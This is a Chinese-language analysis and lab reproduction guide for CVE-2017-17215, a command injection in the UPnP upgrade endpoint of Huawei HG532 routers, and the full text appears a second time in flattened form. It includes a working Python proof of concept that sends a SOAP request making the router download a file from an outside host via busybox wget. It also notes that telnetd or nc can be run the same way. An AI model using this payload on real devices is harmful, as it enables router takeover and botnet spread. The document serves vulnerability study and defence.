CVE-2017-17215-HG532命令注入漏洞分析
字数 1490 2025-08-29 08:32:18

CVE-2017-17215华为HG532路由器命令注入漏洞深入分析与复现指南

漏洞概述

CVE-2017-17215是华为HG532系列路由器中存在的一个严重命令注入漏洞,该漏洞被Mirai病毒的升级版变种OKIRU/SATORI利用进行传播。漏洞存在于设备的UPnP服务中,允许攻击者通过精心构造的SOAP请求实现任意命令执行。

漏洞影响

  • 受影响设备:华为HG532系列家用路由器
  • 漏洞类型:命令注入
  • CVSS评分:9.8 (Critical)
  • 攻击复杂度:低
  • 所需权限:无需认证
  • 影响范围:远程代码执行

漏洞原理分析

技术背景

UPnP(Universal Plug and Play)服务是路由器上常见的服务,用于简化网络设备的发现和通信。华为HG532路由器通过/ctrlt/DeviceUpgrade_1端点处理固件升级相关的SOAP请求。

漏洞根源

漏洞位于bin/upnp二进制文件中,具体在sub_40749c函数中。该函数处理XML请求时存在以下问题:

  1. 使用ATP_XML_GetChildNodeByName获取<NewStatusURL>节点内容
  2. 未对获取的内容进行任何过滤或验证
  3. 直接将用户输入拼接到system()函数执行的命令中

漏洞利用机制

攻击者可以通过在<NewStatusURL><NewDownloadURL>节点中注入特殊字符(如分号;)来闭合原有命令并执行任意命令。例如:

<NewStatusURL>;/bin/busybox wget -g 172.16.16.17 -l /tmp/1 -r /1;</NewStatusURL>

这将导致执行如下命令:

upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r ;/bin/busybox wget -g 172.16.16.17 -l /tmp/1 -r /1; -d -

漏洞复现环境搭建

所需工具

  1. QEMU系统级模拟器
  2. Debian Squeeze MIPS镜像
  3. 华为HG532固件
  4. Python requests库

环境配置步骤

  1. 安装QEMU

    sudo apt-get install qemu-system-mips
    
  2. 下载并启动Debian MIPS虚拟机

    sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta \
    -hda debian_squeeze_mips_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
    
  3. 将HG532固件传输到虚拟机中

    scp HG532_firmware.bin root@qemu-ip:/root/
    
  4. 设置固件环境

    mkdir hg532
    cd hg532
    unsquashfs ../HG532_firmware.bin
    chroot . sh
    
  5. 启动UPnP服务

    ./bin/mic
    
  6. 验证服务运行

    netstat -l
    

    确认37215端口处于监听状态

漏洞利用(PoC)

Python利用代码

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox wget -g 172.16.16.17 -l /tmp/1 -r /1;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''

response = requests.post('http://172.16.16.21:37215/ctrlt/DeviceUpgrade_1', headers=headers, data=data)
print(response.text)

利用步骤

  1. 修改PoC中的IP地址为目标路由器IP
  2. 设置攻击机上的HTTP服务器
  3. 执行PoC脚本
  4. 观察目标路由器是否下载了指定文件

静态分析指南

使用Binwalk提取固件

binwalk -Me HG532_firmware.bin

IDA Pro分析关键函数

  1. 在IDA中打开bin/upnp文件
  2. 搜索字符串DeviceUpgrade_1定位漏洞函数
  3. 分析sub_40749c函数的控制流
  4. 重点关注ATP_XML_GetChildNodeByNamesystem函数的调用

关键代码片段

// 伪代码表示漏洞函数
int sub_40749c() {
    char *NewStatusURL = ATP_XML_GetChildNodeByName("NewStatusURL");
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "upg -g -U %%s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -", NewStatusURL);
    system(cmd); // 漏洞点
}

防御措施

临时缓解方案

  1. 禁用UPnP服务
  2. 配置防火墙规则阻止37215端口的访问

长期解决方案

  1. 升级到华为官方发布的最新固件
  2. 实施输入验证和过滤
  3. 使用安全的函数替代system()调用
  4. 实施最小权限原则

参考资源

  1. Huawei Home Routers in Botnet Recruitment
  2. 华为HG532远程命令执行漏洞的新探索
  3. CVE-2017-17215路由器漏洞分析
  4. 华为HG532系列路由器远程命令执行漏洞分析

附录

常见问题解答

Q: 为什么mic启动后IP变为192.168.1.1?

A: 这是HG532固件的默认配置行为,可以通过修改网络配置或使用桥接模式解决连接问题。

Q: 如何验证漏洞是否修复?

A: 检查固件版本是否为最新,并尝试使用PoC进行测试(在授权环境下)。

Q: 除了wget,还能执行哪些命令?

A: 由于使用了busybox,几乎所有busybox支持的命令都可以执行,如telnetd、nc等。

CVE-2017-17215华为HG532路由器命令注入漏洞深入分析与复现指南 漏洞概述 CVE-2017-17215是华为HG532系列路由器中存在的一个严重命令注入漏洞,该漏洞被Mirai病毒的升级版变种OKIRU/SATORI利用进行传播。漏洞存在于设备的UPnP服务中,允许攻击者通过精心构造的SOAP请求实现任意命令执行。 漏洞影响 受影响设备 :华为HG532系列家用路由器 漏洞类型 :命令注入 CVSS评分 :9.8 (Critical) 攻击复杂度 :低 所需权限 :无需认证 影响范围 :远程代码执行 漏洞原理分析 技术背景 UPnP(Universal Plug and Play)服务是路由器上常见的服务,用于简化网络设备的发现和通信。华为HG532路由器通过 /ctrlt/DeviceUpgrade_1 端点处理固件升级相关的SOAP请求。 漏洞根源 漏洞位于 bin/upnp 二进制文件中,具体在 sub_40749c 函数中。该函数处理XML请求时存在以下问题: 使用 ATP_XML_GetChildNodeByName 获取 <NewStatusURL> 节点内容 未对获取的内容进行任何过滤或验证 直接将用户输入拼接到 system() 函数执行的命令中 漏洞利用机制 攻击者可以通过在 <NewStatusURL> 或 <NewDownloadURL> 节点中注入特殊字符(如分号 ; )来闭合原有命令并执行任意命令。例如: 这将导致执行如下命令: 漏洞复现环境搭建 所需工具 QEMU系统级模拟器 Debian Squeeze MIPS镜像 华为HG532固件 Python requests库 环境配置步骤 安装QEMU : 下载并启动Debian MIPS虚拟机 : 将HG532固件传输到虚拟机中 : 设置固件环境 : 启动UPnP服务 : 验证服务运行 : 确认37215端口处于监听状态 漏洞利用(PoC) Python利用代码 利用步骤 修改PoC中的IP地址为目标路由器IP 设置攻击机上的HTTP服务器 执行PoC脚本 观察目标路由器是否下载了指定文件 静态分析指南 使用Binwalk提取固件 IDA Pro分析关键函数 在IDA中打开 bin/upnp 文件 搜索字符串 DeviceUpgrade_1 定位漏洞函数 分析 sub_40749c 函数的控制流 重点关注 ATP_XML_GetChildNodeByName 和 system 函数的调用 关键代码片段 防御措施 临时缓解方案 禁用UPnP服务 配置防火墙规则阻止37215端口的访问 长期解决方案 升级到华为官方发布的最新固件 实施输入验证和过滤 使用安全的函数替代 system() 调用 实施最小权限原则 参考资源 Huawei Home Routers in Botnet Recruitment 华为HG532远程命令执行漏洞的新探索 CVE-2017-17215路由器漏洞分析 华为HG532系列路由器远程命令执行漏洞分析 附录 常见问题解答 Q: 为什么mic启动后IP变为192.168.1.1? A: 这是HG532固件的默认配置行为,可以通过修改网络配置或使用桥接模式解决连接问题。 Q: 如何验证漏洞是否修复? A: 检查固件版本是否为最新,并尝试使用PoC进行测试(在授权环境下)。 Q: 除了wget,还能执行哪些命令? A: 由于使用了busybox,几乎所有busybox支持的命令都可以执行,如telnetd、nc等。